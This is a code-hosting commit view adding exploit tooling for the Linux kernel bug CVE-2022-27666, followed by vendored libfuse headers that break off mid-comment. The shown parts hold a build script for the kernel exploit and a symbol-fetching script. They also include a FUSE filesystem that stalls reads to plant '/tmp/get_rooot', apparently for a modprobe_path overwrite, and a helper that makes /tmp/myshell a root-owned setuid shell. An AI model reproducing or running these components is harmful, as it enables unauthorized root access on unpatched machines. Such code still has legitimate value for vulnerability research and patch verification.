Projects STRLCPY CVE-2022-27666 Commits 6c132987
🤬
  • ■ ■ ■ ■ ■ ■
    compile.sh
     1 +#!/bin/bash
     2 + 
     3 +gcc -o get_rooot get_rooot.c -w
     4 +gcc -o myshell myshell.c -w
     5 +gcc -no-pie -static poc.c fuse_evil.c -I./libfuse libfuse3.a -o poc -masm=intel -pthread -w \
     6 + -D EXPAND_LOWER_ORDER -D VERSION_5_30 -D KERNEL_LEAK -D KERNEL_EXP
     7 +
     8 +chmod +x ./download_symbol.sh
     9 +./download_symbol.sh
  • ■ ■ ■ ■ ■ ■
    download_symbol.sh
     1 +#! /bin/bash
     2 + 
     3 +SYM_PATH=`pwd`"/symbol"
     4 +if [ -d ${SYM_PATH} ]; then
     5 + echo "symbol downloaded"
     6 + exit 0
     7 +fi
     8 + 
     9 +kernel_version=$(uname -r)
     10 +echo "Kernel version : ${kernel_version}"
     11 + 
     12 +kernel_pkg_version=$(dpkg -l | grep linux-modules-$(uname -r) | head -1 | awk '{ print $3; }')
     13 +echo "Kernel package version : ${kernel_pkg_version}"
     14 + 
     15 +pkg_name="linux-modules-${kernel_version}_${kernel_pkg_version}_amd64.deb"
     16 +pkg_uri="http://archive.ubuntu.com/ubuntu/pool/main/l/linux/${pkg_name}"
     17 +echo "Downloading package linux-modules at ${pkg_uri}"
     18 + 
     19 +mkdir -p symbols/${kernel_version}
     20 +cd symbols/${kernel_version}
     21 + 
     22 +wget ${pkg_uri} -O ${pkg_name}
     23 +mkdir -p extract
     24 +dpkg -x ${pkg_name} extract/
     25 + 
     26 +symbols_file="extract/boot/System.map-${kernel_version}"
     27 +if [ ! -f ${symbols_file} ]; then
     28 + echo "Failed to extract symbol file. Check download of Ubuntu package"
     29 + cd ../../
     30 + rm -rf symbols
     31 + cd - > /dev/null
     32 + exit 1
     33 +else
     34 + echo "Symbol file found. Cleaning directory..."
     35 + mv ${symbols_file} ..
     36 +fi
     37 + 
     38 +cd - > /dev/null
     39 +rm -rf symbols/${kernel_version}
     40 +echo "Symbol file : System.map-${kernel_version}"
     41 + 
  • ■ ■ ■ ■ ■ ■
    fuse_evil.c
     1 +#include "fuse_evil.h"
     2 + 
     3 +const char *evil_path = "evil";
     4 +char *evil_str = "/tmp/get_rooot\x00";
     5 + 
     6 +int fuse_pipes[2];
     7 +// https://www.maastaar.net/fuse/linux/filesystem/c/2016/05/21/writing-a-simple-filesystem-using-fuse/
     8 + 
     9 +int evil_read_pause(const char *path, char *buf, size_t size, off_t offset,
     10 + struct fuse_file_info *fi)
     11 +{
     12 + // change to modprobe_path
     13 + char signal;
     14 + size_t len = 0x10000;
     15 + 
     16 + if (offset + size > len)
     17 + size = len - offset;
     18 + 
     19 + memset(evil_buffer + offset, 0x43, size);
     20 + char *evil = evil_str;
     21 + memcpy((void *)(evil_buffer + 0x1000-0x30), evil, strlen(evil));
     22 + 
     23 + if (offset >= len)
     24 + return size;
     25 + 
     26 + memcpy(buf, evil_buffer + offset, size);
     27 + pause();
     28 + return size;
     29 +}
     30 + 
     31 +int evil_read_sleep(const char *path, char *buf, size_t size, off_t offset,
     32 + struct fuse_file_info *fi)
     33 +{
     34 + // change to modprobe_path
     35 + char signal;
     36 + size_t len = 0x10000;
     37 + 
     38 + if (offset + size > len)
     39 + size = len - offset;
     40 + 
     41 + memset(evil_buffer + offset, 0x43, size);
     42 + char *evil = evil_str;
     43 + memcpy((void *)(evil_buffer + 0x1000-0x30), evil, strlen(evil));
     44 + 
     45 + if (offset >= len)
     46 + return size;
     47 + 
     48 + memcpy(buf, evil_buffer + offset, size);
     49 + read(fuse_pipes[0], &signal, 1);
     50 + return size;
     51 +}
     52 + 
     53 +int evil_getattr(const char *path, struct stat *stbuf,
     54 + struct fuse_file_info *fi)
     55 +{
     56 + int res = 0;
     57 + 
     58 + memset(stbuf, 0, sizeof(struct stat));
     59 + 
     60 + if (strcmp(path, "/") == 0)
     61 + {
     62 + stbuf->st_mode = S_IFDIR | 0755;
     63 + stbuf->st_nlink = 2;
     64 + }
     65 + else if (strcmp(path + 1, evil_path) == 0)
     66 + {
     67 + stbuf->st_mode = S_IFREG | 0444;
     68 + stbuf->st_nlink = 1;
     69 + stbuf->st_size = 0x1000;
     70 + }
     71 + else
     72 + {
     73 + res = -ENOENT;
     74 + }
     75 + 
     76 + return res;
     77 +}
     78 + 
     79 + 
     80 +int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
     81 + off_t offset, struct fuse_file_info *fi,
     82 + enum fuse_readdir_flags flags)
     83 +{
     84 + if (strcmp(path, "/") != 0)
     85 + return -ENOENT;
     86 + 
     87 + filler(buf, ".", NULL, 0, 0);
     88 + filler(buf, "..", NULL, 0, 0);
     89 + filler(buf, evil_path, NULL, 0, 0);
     90 + 
     91 + return 0;
     92 +}
  • ■ ■ ■ ■ ■ ■
    fuse_evil.h
     1 +#define FUSE_USE_VERSION 34
     2 +#define _GNU_SOURCE
     3 +
     4 +#include <sched.h>
     5 +#include <fuse.h>
     6 +#include <stdio.h>
     7 +#include <string.h>
     8 +#include <errno.h>
     9 +#include <fcntl.h>
     10 +#include <stddef.h>
     11 +#include <sys/syscall.h>
     12 + 
     13 +#define MNT_PATH "evil"
     14 + 
     15 +extern const char *evil_path;
     16 +extern int fuse_pipes[2];
     17 +extern char *evil_str;
     18 +extern char *evil_buffer;
     19 +extern int pause_flag;
     20 + 
     21 +int evil_read_pause(const char *path, char *buf, size_t size, off_t offset,
     22 + struct fuse_file_info *fi);
     23 + 
     24 +int evil_read_sleep(const char *path, char *buf, size_t size, off_t offset,
     25 + struct fuse_file_info *fi);
     26 + 
     27 +int evil_getattr(const char *path, struct stat *stbuf,
     28 + struct fuse_file_info *fi);
     29 + 
     30 +int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
     31 + off_t offset, struct fuse_file_info *fi,
     32 + enum fuse_readdir_flags flags);
  • ■ ■ ■ ■ ■ ■
    get_rooot.c
     1 +#include <stdio.h>
     2 +#include <stdlib.h>
     3 + 
     4 +int main()
     5 +{
     6 + system("chown root:root /tmp/myshell");
     7 + system("chmod 4755 /tmp/myshell");
     8 + system("/usr/bin/touch /tmp/exploited");
     9 +}
  • ■ ■ ■ ■ ■ ■
    libfuse/cuse_lowlevel.h
     1 +/*
     2 + CUSE: Character device in Userspace
     3 + Copyright (C) 2008-2009 SUSE Linux Products GmbH
     4 + Copyright (C) 2008-2009 Tejun Heo <[email protected]>
     5 + 
     6 + This program can be distributed under the terms of the GNU LGPLv2.
     7 + See the file COPYING.LIB.
     8 + 
     9 + Read example/cusexmp.c for usages.
     10 +*/
     11 + 
     12 +#ifndef CUSE_LOWLEVEL_H_
     13 +#define CUSE_LOWLEVEL_H_
     14 + 
     15 +#ifndef FUSE_USE_VERSION
     16 +#define FUSE_USE_VERSION 29
     17 +#endif
     18 + 
     19 +#include "fuse_lowlevel.h"
     20 + 
     21 +#include <fcntl.h>
     22 +#include <sys/types.h>
     23 +#include <sys/uio.h>
     24 + 
     25 +#ifdef __cplusplus
     26 +extern "C" {
     27 +#endif
     28 + 
     29 +#define CUSE_UNRESTRICTED_IOCTL (1 << 0) /* use unrestricted ioctl */
     30 + 
     31 +struct fuse_session;
     32 + 
     33 +struct cuse_info {
     34 + unsigned dev_major;
     35 + unsigned dev_minor;
     36 + unsigned dev_info_argc;
     37 + const char **dev_info_argv;
     38 + unsigned flags;
     39 +};
     40 + 
     41 +/*
     42 + * Most ops behave almost identically to the matching fuse_lowlevel
     43 + * ops except that they don't take @ino.
     44 + *
     45 + * init_done : called after initialization is complete
     46 + * read/write : always direct IO, simultaneous operations allowed
     47 + * ioctl : might be in unrestricted mode depending on ci->flags
     48 + */
     49 +struct cuse_lowlevel_ops {
     50 + void (*init) (void *userdata, struct fuse_conn_info *conn);
     51 + void (*init_done) (void *userdata);
     52 + void (*destroy) (void *userdata);
     53 + void (*open) (fuse_req_t req, struct fuse_file_info *fi);
     54 + void (*read) (fuse_req_t req, size_t size, off_t off,
     55 + struct fuse_file_info *fi);
     56 + void (*write) (fuse_req_t req, const char *buf, size_t size, off_t off,
     57 + struct fuse_file_info *fi);
     58 + void (*flush) (fuse_req_t req, struct fuse_file_info *fi);
     59 + void (*release) (fuse_req_t req, struct fuse_file_info *fi);
     60 + void (*fsync) (fuse_req_t req, int datasync, struct fuse_file_info *fi);
     61 + void (*ioctl) (fuse_req_t req, int cmd, void *arg,
     62 + struct fuse_file_info *fi, unsigned int flags,
     63 + const void *in_buf, size_t in_bufsz, size_t out_bufsz);
     64 + void (*poll) (fuse_req_t req, struct fuse_file_info *fi,
     65 + struct fuse_pollhandle *ph);
     66 +};
     67 + 
     68 +struct fuse_session *cuse_lowlevel_new(struct fuse_args *args,
     69 + const struct cuse_info *ci,
     70 + const struct cuse_lowlevel_ops *clop,
     71 + void *userdata);
     72 + 
     73 +struct fuse_session *cuse_lowlevel_setup(int argc, char *argv[],
     74 + const struct cuse_info *ci,
     75 + const struct cuse_lowlevel_ops *clop,
     76 + int *multithreaded, void *userdata);
     77 + 
     78 +void cuse_lowlevel_teardown(struct fuse_session *se);
     79 + 
     80 +int cuse_lowlevel_main(int argc, char *argv[], const struct cuse_info *ci,
     81 + const struct cuse_lowlevel_ops *clop, void *userdata);
     82 + 
     83 +#ifdef __cplusplus
     84 +}
     85 +#endif
     86 + 
     87 +#endif /* CUSE_LOWLEVEL_H_ */
     88 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse.h
     1 +/*
     2 + FUSE: Filesystem in Userspace
     3 + Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
     4 + 
     5 + This program can be distributed under the terms of the GNU LGPLv2.
     6 + See the file COPYING.LIB.
     7 +*/
     8 + 
     9 +#ifndef FUSE_H_
     10 +#define FUSE_H_
     11 + 
     12 +/** @file
     13 + *
     14 + * This file defines the library interface of FUSE
     15 + *
     16 + * IMPORTANT: you should define FUSE_USE_VERSION before including this header.
     17 + */
     18 + 
     19 +#include "fuse_common.h"
     20 + 
     21 +#include <fcntl.h>
     22 +#include <time.h>
     23 +#include <sys/types.h>
     24 +#include <sys/stat.h>
     25 +#include <sys/statvfs.h>
     26 +#include <sys/uio.h>
     27 + 
     28 +#ifdef __cplusplus
     29 +extern "C" {
     30 +#endif
     31 + 
     32 +/* ----------------------------------------------------------- *
     33 + * Basic FUSE API *
     34 + * ----------------------------------------------------------- */
     35 + 
     36 +/** Handle for a FUSE filesystem */
     37 +struct fuse;
     38 + 
     39 +/**
     40 + * Readdir flags, passed to ->readdir()
     41 + */
     42 +enum fuse_readdir_flags {
     43 + /**
     44 + * "Plus" mode.
     45 + *
     46 + * The kernel wants to prefill the inode cache during readdir. The
     47 + * filesystem may honour this by filling in the attributes and setting
     48 + * FUSE_FILL_DIR_FLAGS for the filler function. The filesystem may also
     49 + * just ignore this flag completely.
     50 + */
     51 + FUSE_READDIR_PLUS = (1 << 0)
     52 +};
     53 + 
     54 +/**
     55 + * Readdir flags, passed to fuse_fill_dir_t callback.
     56 + */
     57 +enum fuse_fill_dir_flags {
     58 + /**
     59 + * "Plus" mode: all file attributes are valid
     60 + *
     61 + * The attributes are used by the kernel to prefill the inode cache
     62 + * during a readdir.
     63 + *
     64 + * It is okay to set FUSE_FILL_DIR_PLUS if FUSE_READDIR_PLUS is not set
     65 + * and vice versa.
     66 + */
     67 + FUSE_FILL_DIR_PLUS = (1 << 1)
     68 +};
     69 + 
     70 +/** Function to add an entry in a readdir() operation
     71 + *
     72 + * The *off* parameter can be any non-zero value that enables the
     73 + * filesystem to identify the current point in the directory
     74 + * stream. It does not need to be the actual physical position. A
     75 + * value of zero is reserved to indicate that seeking in directories
     76 + * is not supported.
     77 + *
     78 + * @param buf the buffer passed to the readdir() operation
     79 + * @param name the file name of the directory entry
     80 + * @param stbuf file attributes, can be NULL
     81 + * @param off offset of the next entry or zero
     82 + * @param flags fill flags
     83 + * @return 1 if buffer is full, zero otherwise
     84 + */
     85 +typedef int (*fuse_fill_dir_t) (void *buf, const char *name,
     86 + const struct stat *stbuf, off_t off,
     87 + enum fuse_fill_dir_flags flags);
     88 +/**
     89 + * Configuration of the high-level API
     90 + *
     91 + * This structure is initialized from the arguments passed to
     92 + * fuse_new(), and then passed to the file system's init() handler
     93 + * which should ensure that the configuration is compatible with the
     94 + * file system implementation.
     95 + */
     96 +struct fuse_config {
     97 + /**
     98 + * If `set_gid` is non-zero, the st_gid attribute of each file
     99 + * is overwritten with the value of `gid`.
     100 + */
     101 + int set_gid;
     102 + unsigned int gid;
     103 + 
     104 + /**
     105 + * If `set_uid` is non-zero, the st_uid attribute of each file
     106 + * is overwritten with the value of `uid`.
     107 + */
     108 + int set_uid;
     109 + unsigned int uid;
     110 + 
     111 + /**
     112 + * If `set_mode` is non-zero, the any permissions bits set in
     113 + * `umask` are unset in the st_mode attribute of each file.
     114 + */
     115 + int set_mode;
     116 + unsigned int umask;
     117 + 
     118 + /**
     119 + * The timeout in seconds for which name lookups will be
     120 + * cached.
     121 + */
     122 + double entry_timeout;
     123 + 
     124 + /**
     125 + * The timeout in seconds for which a negative lookup will be
     126 + * cached. This means, that if file did not exist (lookup
     127 + * returned ENOENT), the lookup will only be redone after the
     128 + * timeout, and the file/directory will be assumed to not
     129 + * exist until then. A value of zero means that negative
     130 + * lookups are not cached.
     131 + */
     132 + double negative_timeout;
     133 + 
     134 + /**
     135 + * The timeout in seconds for which file/directory attributes
     136 + * (as returned by e.g. the `getattr` handler) are cached.
     137 + */
     138 + double attr_timeout;
     139 + 
     140 + /**
     141 + * Allow requests to be interrupted
     142 + */
     143 + int intr;
     144 + 
     145 + /**
     146 + * Specify which signal number to send to the filesystem when
     147 + * a request is interrupted. The default is hardcoded to
     148 + * USR1.
     149 + */
     150 + int intr_signal;
     151 + 
     152 + /**
     153 + * Normally, FUSE assigns inodes to paths only for as long as
     154 + * the kernel is aware of them. With this option inodes are
     155 + * instead remembered for at least this many seconds. This
     156 + * will require more memory, but may be necessary when using
     157 + * applications that make use of inode numbers.
     158 + *
     159 + * A number of -1 means that inodes will be remembered for the
     160 + * entire life-time of the file-system process.
     161 + */
     162 + int remember;
     163 + 
     164 + /**
     165 + * The default behavior is that if an open file is deleted,
     166 + * the file is renamed to a hidden file (.fuse_hiddenXXX), and
     167 + * only removed when the file is finally released. This
     168 + * relieves the filesystem implementation of having to deal
     169 + * with this problem. This option disables the hiding
     170 + * behavior, and files are removed immediately in an unlink
     171 + * operation (or in a rename operation which overwrites an
     172 + * existing file).
     173 + *
     174 + * It is recommended that you not use the hard_remove
     175 + * option. When hard_remove is set, the following libc
     176 + * functions fail on unlinked files (returning errno of
     177 + * ENOENT): read(2), write(2), fsync(2), close(2), f*xattr(2),
     178 + * ftruncate(2), fstat(2), fchmod(2), fchown(2)
     179 + */
     180 + int hard_remove;
     181 + 
     182 + /**
     183 + * Honor the st_ino field in the functions getattr() and
     184 + * fill_dir(). This value is used to fill in the st_ino field
     185 + * in the stat(2), lstat(2), fstat(2) functions and the d_ino
     186 + * field in the readdir(2) function. The filesystem does not
     187 + * have to guarantee uniqueness, however some applications
     188 + * rely on this value being unique for the whole filesystem.
     189 + *
     190 + * Note that this does *not* affect the inode that libfuse
     191 + * and the kernel use internally (also called the "nodeid").
     192 + */
     193 + int use_ino;
     194 + 
     195 + /**
     196 + * If use_ino option is not given, still try to fill in the
     197 + * d_ino field in readdir(2). If the name was previously
     198 + * looked up, and is still in the cache, the inode number
     199 + * found there will be used. Otherwise it will be set to -1.
     200 + * If use_ino option is given, this option is ignored.
     201 + */
     202 + int readdir_ino;
     203 + 
     204 + /**
     205 + * This option disables the use of page cache (file content cache)
     206 + * in the kernel for this filesystem. This has several affects:
     207 + *
     208 + * 1. Each read(2) or write(2) system call will initiate one
     209 + * or more read or write operations, data will not be
     210 + * cached in the kernel.
     211 + *
     212 + * 2. The return value of the read() and write() system calls
     213 + * will correspond to the return values of the read and
     214 + * write operations. This is useful for example if the
     215 + * file size is not known in advance (before reading it).
     216 + *
     217 + * Internally, enabling this option causes fuse to set the
     218 + * `direct_io` field of `struct fuse_file_info` - overwriting
     219 + * any value that was put there by the file system.
     220 + */
     221 + int direct_io;
     222 + 
     223 + /**
     224 + * This option disables flushing the cache of the file
     225 + * contents on every open(2). This should only be enabled on
     226 + * filesystems where the file data is never changed
     227 + * externally (not through the mounted FUSE filesystem). Thus
     228 + * it is not suitable for network filesystems and other
     229 + * intermediate filesystems.
     230 + *
     231 + * NOTE: if this option is not specified (and neither
     232 + * direct_io) data is still cached after the open(2), so a
     233 + * read(2) system call will not always initiate a read
     234 + * operation.
     235 + *
     236 + * Internally, enabling this option causes fuse to set the
     237 + * `keep_cache` field of `struct fuse_file_info` - overwriting
     238 + * any value that was put there by the file system.
     239 + */
     240 + int kernel_cache;
     241 + 
     242 + /**
     243 + * This option is an alternative to `kernel_cache`. Instead of
     244 + * unconditionally keeping cached data, the cached data is
     245 + * invalidated on open(2) if if the modification time or the
     246 + * size of the file has changed since it was last opened.
     247 + */
     248 + int auto_cache;
     249 + 
     250 + /**
     251 + * The timeout in seconds for which file attributes are cached
     252 + * for the purpose of checking if auto_cache should flush the
     253 + * file data on open.
     254 + */
     255 + int ac_attr_timeout_set;
     256 + double ac_attr_timeout;
     257 + 
     258 + /**
     259 + * If this option is given the file-system handlers for the
     260 + * following operations will not receive path information:
     261 + * read, write, flush, release, fallocate, fsync, readdir,
     262 + * releasedir, fsyncdir, lock, ioctl and poll.
     263 + *
     264 + * For the truncate, getattr, chmod, chown and utimens
     265 + * operations the path will be provided only if the struct
     266 + * fuse_file_info argument is NULL.
     267 + */
     268 + int nullpath_ok;
     269 + 
     270 + /**
     271 + * The remaining options are used by libfuse internally and
     272 + * should not be touched.
     273 + */
     274 + int show_help;
     275 + char *modules;
     276 + int debug;
     277 +};
     278 + 
     279 + 
     280 +/**
     281 + * The file system operations:
     282 + *
     283 + * Most of these should work very similarly to the well known UNIX
     284 + * file system operations. A major exception is that instead of
     285 + * returning an error in 'errno', the operation should return the
     286 + * negated error value (-errno) directly.
     287 + *
     288 + * All methods are optional, but some are essential for a useful
     289 + * filesystem (e.g. getattr). Open, flush, release, fsync, opendir,
     290 + * releasedir, fsyncdir, access, create, truncate, lock, init and
     291 + * destroy are special purpose methods, without which a full featured
     292 + * filesystem can still be implemented.
     293 + *
     294 + * In general, all methods are expected to perform any necessary
     295 + * permission checking. However, a filesystem may delegate this task
     296 + * to the kernel by passing the `default_permissions` mount option to
     297 + * `fuse_new()`. In this case, methods will only be called if
     298 + * the kernel's permission check has succeeded.
     299 + *
     300 + * Almost all operations take a path which can be of any length.
     301 + */
     302 +struct fuse_operations {
     303 + /** Get file attributes.
     304 + *
     305 + * Similar to stat(). The 'st_dev' and 'st_blksize' fields are
     306 + * ignored. The 'st_ino' field is ignored except if the 'use_ino'
     307 + * mount option is given. In that case it is passed to userspace,
     308 + * but libfuse and the kernel will still assign a different
     309 + * inode for internal use (called the "nodeid").
     310 + *
     311 + * `fi` will always be NULL if the file is not currently open, but
     312 + * may also be NULL if the file is open.
     313 + */
     314 + int (*getattr) (const char *, struct stat *, struct fuse_file_info *fi);
     315 + 
     316 + /** Read the target of a symbolic link
     317 + *
     318 + * The buffer should be filled with a null terminated string. The
     319 + * buffer size argument includes the space for the terminating
     320 + * null character. If the linkname is too long to fit in the
     321 + * buffer, it should be truncated. The return value should be 0
     322 + * for success.
     323 + */
     324 + int (*readlink) (const char *, char *, size_t);
     325 + 
     326 + /** Create a file node
     327 + *
     328 + * This is called for creation of all non-directory, non-symlink
     329 + * nodes. If the filesystem defines a create() method, then for
     330 + * regular files that will be called instead.
     331 + */
     332 + int (*mknod) (const char *, mode_t, dev_t);
     333 + 
     334 + /** Create a directory
     335 + *
     336 + * Note that the mode argument may not have the type specification
     337 + * bits set, i.e. S_ISDIR(mode) can be false. To obtain the
     338 + * correct directory type bits use mode|S_IFDIR
     339 + * */
     340 + int (*mkdir) (const char *, mode_t);
     341 + 
     342 + /** Remove a file */
     343 + int (*unlink) (const char *);
     344 + 
     345 + /** Remove a directory */
     346 + int (*rmdir) (const char *);
     347 + 
     348 + /** Create a symbolic link */
     349 + int (*symlink) (const char *, const char *);
     350 + 
     351 + /** Rename a file
     352 + *
     353 + * *flags* may be `RENAME_EXCHANGE` or `RENAME_NOREPLACE`. If
     354 + * RENAME_NOREPLACE is specified, the filesystem must not
     355 + * overwrite *newname* if it exists and return an error
     356 + * instead. If `RENAME_EXCHANGE` is specified, the filesystem
     357 + * must atomically exchange the two files, i.e. both must
     358 + * exist and neither may be deleted.
     359 + */
     360 + int (*rename) (const char *, const char *, unsigned int flags);
     361 + 
     362 + /** Create a hard link to a file */
     363 + int (*link) (const char *, const char *);
     364 + 
     365 + /** Change the permission bits of a file
     366 + *
     367 + * `fi` will always be NULL if the file is not currently open, but
     368 + * may also be NULL if the file is open.
     369 + */
     370 + int (*chmod) (const char *, mode_t, struct fuse_file_info *fi);
     371 + 
     372 + /** Change the owner and group of a file
     373 + *
     374 + * `fi` will always be NULL if the file is not currently open, but
     375 + * may also be NULL if the file is open.
     376 + *
     377 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     378 + * expected to reset the setuid and setgid bits.
     379 + */
     380 + int (*chown) (const char *, uid_t, gid_t, struct fuse_file_info *fi);
     381 + 
     382 + /** Change the size of a file
     383 + *
     384 + * `fi` will always be NULL if the file is not currently open, but
     385 + * may also be NULL if the file is open.
     386 + *
     387 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     388 + * expected to reset the setuid and setgid bits.
     389 + */
     390 + int (*truncate) (const char *, off_t, struct fuse_file_info *fi);
     391 + 
     392 + /** Open a file
     393 + *
     394 + * Open flags are available in fi->flags. The following rules
     395 + * apply.
     396 + *
     397 + * - Creation (O_CREAT, O_EXCL, O_NOCTTY) flags will be
     398 + * filtered out / handled by the kernel.
     399 + *
     400 + * - Access modes (O_RDONLY, O_WRONLY, O_RDWR, O_EXEC, O_SEARCH)
     401 + * should be used by the filesystem to check if the operation is
     402 + * permitted. If the ``-o default_permissions`` mount option is
     403 + * given, this check is already done by the kernel before calling
     404 + * open() and may thus be omitted by the filesystem.
     405 + *
     406 + * - When writeback caching is enabled, the kernel may send
     407 + * read requests even for files opened with O_WRONLY. The
     408 + * filesystem should be prepared to handle this.
     409 + *
     410 + * - When writeback caching is disabled, the filesystem is
     411 + * expected to properly handle the O_APPEND flag and ensure
     412 + * that each write is appending to the end of the file.
     413 + *
     414 + * - When writeback caching is enabled, the kernel will
     415 + * handle O_APPEND. However, unless all changes to the file
     416 + * come through the kernel this will not work reliably. The
     417 + * filesystem should thus either ignore the O_APPEND flag
     418 + * (and let the kernel handle it), or return an error
     419 + * (indicating that reliably O_APPEND is not available).
     420 + *
     421 + * Filesystem may store an arbitrary file handle (pointer,
     422 + * index, etc) in fi->fh, and use this in other all other file
     423 + * operations (read, write, flush, release, fsync).
     424 + *
     425 + * Filesystem may also implement stateless file I/O and not store
     426 + * anything in fi->fh.
     427 + *
     428 + * There are also some flags (direct_io, keep_cache) which the
     429 + * filesystem may set in fi, to change the way the file is opened.
     430 + * See fuse_file_info structure in <fuse_common.h> for more details.
     431 + *
     432 + * If this request is answered with an error code of ENOSYS
     433 + * and FUSE_CAP_NO_OPEN_SUPPORT is set in
     434 + * `fuse_conn_info.capable`, this is treated as success and
     435 + * future calls to open will also succeed without being send
     436 + * to the filesystem process.
     437 + *
     438 + */
     439 + int (*open) (const char *, struct fuse_file_info *);
     440 + 
     441 + /** Read data from an open file
     442 + *
     443 + * Read should return exactly the number of bytes requested except
     444 + * on EOF or error, otherwise the rest of the data will be
     445 + * substituted with zeroes. An exception to this is when the
     446 + * 'direct_io' mount option is specified, in which case the return
     447 + * value of the read system call will reflect the return value of
     448 + * this operation.
     449 + */
     450 + int (*read) (const char *, char *, size_t, off_t,
     451 + struct fuse_file_info *);
     452 + 
     453 + /** Write data to an open file
     454 + *
     455 + * Write should return exactly the number of bytes requested
     456 + * except on error. An exception to this is when the 'direct_io'
     457 + * mount option is specified (see read operation).
     458 + *
     459 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     460 + * expected to reset the setuid and setgid bits.
     461 + */
     462 + int (*write) (const char *, const char *, size_t, off_t,
     463 + struct fuse_file_info *);
     464 + 
     465 + /** Get file system statistics
     466 + *
     467 + * The 'f_favail', 'f_fsid' and 'f_flag' fields are ignored
     468 + */
     469 + int (*statfs) (const char *, struct statvfs *);
     470 + 
     471 + /** Possibly flush cached data
     472 + *
     473 + * BIG NOTE: This is not equivalent to fsync(). It's not a
     474 + * request to sync dirty data.
     475 + *
     476 + * Flush is called on each close() of a file descriptor, as opposed to
     477 + * release which is called on the close of the last file descriptor for
     478 + * a file. Under Linux, errors returned by flush() will be passed to
     479 + * userspace as errors from close(), so flush() is a good place to write
     480 + * back any cached dirty data. However, many applications ignore errors
     481 + * on close(), and on non-Linux systems, close() may succeed even if flush()
     482 + * returns an error. For these reasons, filesystems should not assume
     483 + * that errors returned by flush will ever be noticed or even
     484 + * delivered.
     485 + *
     486 + * NOTE: The flush() method may be called more than once for each
     487 + * open(). This happens if more than one file descriptor refers to an
     488 + * open file handle, e.g. due to dup(), dup2() or fork() calls. It is
     489 + * not possible to determine if a flush is final, so each flush should
     490 + * be treated equally. Multiple write-flush sequences are relatively
     491 + * rare, so this shouldn't be a problem.
     492 + *
     493 + * Filesystems shouldn't assume that flush will be called at any
     494 + * particular point. It may be called more times than expected, or not
     495 + * at all.
     496 + *
     497 + * [close]: http://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
     498 + */
     499 + int (*flush) (const char *, struct fuse_file_info *);
     500 + 
     501 + /** Release an open file
     502 + *
     503 + * Release is called when there are no more references to an open
     504 + * file: all file descriptors are closed and all memory mappings
     505 + * are unmapped.
     506 + *
     507 + * For every open() call there will be exactly one release() call
     508 + * with the same flags and file handle. It is possible to
     509 + * have a file opened more than once, in which case only the last
     510 + * release will mean, that no more reads/writes will happen on the
     511 + * file. The return value of release is ignored.
     512 + */
     513 + int (*release) (const char *, struct fuse_file_info *);
     514 + 
     515 + /** Synchronize file contents
     516 + *
     517 + * If the datasync parameter is non-zero, then only the user data
     518 + * should be flushed, not the meta data.
     519 + */
     520 + int (*fsync) (const char *, int, struct fuse_file_info *);
     521 + 
     522 + /** Set extended attributes */
     523 + int (*setxattr) (const char *, const char *, const char *, size_t, int);
     524 + 
     525 + /** Get extended attributes */
     526 + int (*getxattr) (const char *, const char *, char *, size_t);
     527 + 
     528 + /** List extended attributes */
     529 + int (*listxattr) (const char *, char *, size_t);
     530 + 
     531 + /** Remove extended attributes */
     532 + int (*removexattr) (const char *, const char *);
     533 + 
     534 + /** Open directory
     535 + *
     536 + * Unless the 'default_permissions' mount option is given,
     537 + * this method should check if opendir is permitted for this
     538 + * directory. Optionally opendir may also return an arbitrary
     539 + * filehandle in the fuse_file_info structure, which will be
     540 + * passed to readdir, releasedir and fsyncdir.
     541 + */
     542 + int (*opendir) (const char *, struct fuse_file_info *);
     543 + 
     544 + /** Read directory
     545 + *
     546 + * The filesystem may choose between two modes of operation:
     547 + *
     548 + * 1) The readdir implementation ignores the offset parameter, and
     549 + * passes zero to the filler function's offset. The filler
     550 + * function will not return '1' (unless an error happens), so the
     551 + * whole directory is read in a single readdir operation.
     552 + *
     553 + * 2) The readdir implementation keeps track of the offsets of the
     554 + * directory entries. It uses the offset parameter and always
     555 + * passes non-zero offset to the filler function. When the buffer
     556 + * is full (or an error happens) the filler function will return
     557 + * '1'.
     558 + */
     559 + int (*readdir) (const char *, void *, fuse_fill_dir_t, off_t,
     560 + struct fuse_file_info *, enum fuse_readdir_flags);
     561 + 
     562 + /** Release directory
     563 + *
     564 + * If the directory has been removed after the call to opendir, the
     565 + * path parameter will be NULL.
     566 + */
     567 + int (*releasedir) (const char *, struct fuse_file_info *);
     568 + 
     569 + /** Synchronize directory contents
     570 + *
     571 + * If the directory has been removed after the call to opendir, the
     572 + * path parameter will be NULL.
     573 + *
     574 + * If the datasync parameter is non-zero, then only the user data
     575 + * should be flushed, not the meta data
     576 + */
     577 + int (*fsyncdir) (const char *, int, struct fuse_file_info *);
     578 + 
     579 + /**
     580 + * Initialize filesystem
     581 + *
     582 + * The return value will passed in the `private_data` field of
     583 + * `struct fuse_context` to all file operations, and as a
     584 + * parameter to the destroy() method. It overrides the initial
     585 + * value provided to fuse_main() / fuse_new().
     586 + */
     587 + void *(*init) (struct fuse_conn_info *conn,
     588 + struct fuse_config *cfg);
     589 + 
     590 + /**
     591 + * Clean up filesystem
     592 + *
     593 + * Called on filesystem exit.
     594 + */
     595 + void (*destroy) (void *private_data);
     596 + 
     597 + /**
     598 + * Check file access permissions
     599 + *
     600 + * This will be called for the access() system call. If the
     601 + * 'default_permissions' mount option is given, this method is not
     602 + * called.
     603 + *
     604 + * This method is not called under Linux kernel versions 2.4.x
     605 + */
     606 + int (*access) (const char *, int);
     607 + 
     608 + /**
     609 + * Create and open a file
     610 + *
     611 + * If the file does not exist, first create it with the specified
     612 + * mode, and then open it.
     613 + *
     614 + * If this method is not implemented or under Linux kernel
     615 + * versions earlier than 2.6.15, the mknod() and open() methods
     616 + * will be called instead.
     617 + */
     618 + int (*create) (const char *, mode_t, struct fuse_file_info *);
     619 + 
     620 + /**
     621 + * Perform POSIX file locking operation
     622 + *
     623 + * The cmd argument will be either F_GETLK, F_SETLK or F_SETLKW.
     624 + *
     625 + * For the meaning of fields in 'struct flock' see the man page
     626 + * for fcntl(2). The l_whence field will always be set to
     627 + * SEEK_SET.
     628 + *
     629 + * For checking lock ownership, the 'fuse_file_info->owner'
